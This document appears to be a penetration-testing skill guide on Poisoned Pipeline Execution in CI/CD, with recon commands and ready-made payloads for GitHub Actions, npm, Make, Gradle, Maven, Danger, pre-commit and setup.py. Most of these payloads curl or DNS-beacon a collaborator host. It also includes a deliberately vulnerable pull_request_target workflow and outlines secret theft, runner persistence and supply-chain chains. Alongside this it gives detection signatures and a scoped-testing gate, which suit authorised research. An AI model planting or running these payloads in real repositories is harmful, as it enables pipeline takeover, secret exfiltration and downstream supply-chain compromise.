Poisoned Pipeline Execution (PPE)
PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):
- Direct PPE (D-PPE): attacker edits the pipeline config itself (
.github/workflows/*.yml,.gitlab-ci.yml,Jenkinsfile) in a PR/branch the CI runs. - Indirect PPE (I-PPE): attacker edits a file the pipeline calls — build scripts (
Makefile,build.gradle,pom.xml), package-manager scripts (package.jsonscripts,setup.py), lint/test hooks (Dangerfile,.pre-commit-config.yaml,tox.ini,pyproject.toml[tool.poetry.scripts]), or any filemake testends up sourcing.
Recon — does the target build untrusted code?
# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null
# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null
# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'
# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.
Direct PPE — edit the workflow itself
# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "fix: tweak test runner" # blends in
run: |
# Beacon-only PoC — DO NOT exfil real secrets in research
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
-d "ref=$GITHUB_REF"
D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.
Indirect PPE — edit a file the pipeline calls
package.json scripts
// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
"scripts": {
"test": "jest",
"postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
}
}
npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.
Makefile / make test
# PR adds an indented line under the existing `test:` target
test:
pytest -q
@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true
Gradle / Maven
// build.gradle — runs at evaluation, before any task
allprojects {
doFirst {
"curl -s https://<COLLAB>/gradle".execute()
}
}
<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
<groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
<executions><execution><phase>validate</phase>
<goals><goal>exec</goal></goals>
<configuration><executable>curl</executable>
<arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
</configuration>
</execution></executions>
</plugin>
Danger / pre-commit / lint hooks
# Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
- repo: https://github.com/<ATTACKER>/innocent-lint
rev: main
hooks: [{ id: lint }]
setup.py / pyproject.toml
# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")
Test fixtures
conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files — all execute before the first test runs.
pull_request_target — the dangerous trigger
pull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:
# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # <-- attacker code
- run: npm ci && npm test # <-- runs attacker code with secrets in env
A fork PR adding an postinstall to package.json now runs with secrets.* available.
Chains
| Chain | Pivot |
|---|---|
I-PPE in a build script -> printenv -> CI secret -> deploy creds |
See cicd-secrets-exfil/SKILL.md |
| D-PPE on protected branch via stale review approval | Push to PR after approval (use dismiss_stale_reviews-misconfigured repos) |
| I-PPE on self-hosted runner | Persistence via cron / systemd; see self-hosted-runner-abuse/SKILL.md |
I-PPE -> push tag / publish package via GITHUB_TOKEN |
Downstream supply-chain compromise |
Tools
| Tool | Use |
|---|---|
gato / gato-x |
Scans orgs for PPE-prone workflows, automates fork-PR PoC |
actionlint |
Reverse-use: flags pull_request_target + PR-head checkout |
octoscan, zizmor |
Static workflow analyzers |
tj-actions/changed-files CVE-2025-30066 |
Real-world I-PPE-via-action precedent |
Detection signatures (defender view)
| Signal | Where |
|---|---|
Edit to .github/workflows/* in a fork PR |
GitHub UI flags "workflow file change" on first run; defenders watch for it |
New postinstall / preinstall / prepare in package.json diff |
git log -p package.json |
| New outbound network from CI runner during build | egress filtering on runner subnet |
pull_request_target + checkout of head.sha |
static lint (zizmor, octoscan) |
Decision gate
- Confirm written scope covers CI/CD testing.
- PoC payload = single DNS / HTTPS beacon, no real secret exfil.
- Open the PR from a clearly-labeled
security-research-*fork; close + delete after capture. - Never push to protected branches, never publish artifacts, never tag releases.
References
- "Top 10 CI/CD Security Risks" — Cider Security / OWASP (CICD-SEC-04 PPE)
- Palawan / Cider PPE taxonomy
tj-actions/changed-filesincident (Mar 2025) — supply-chain via reused action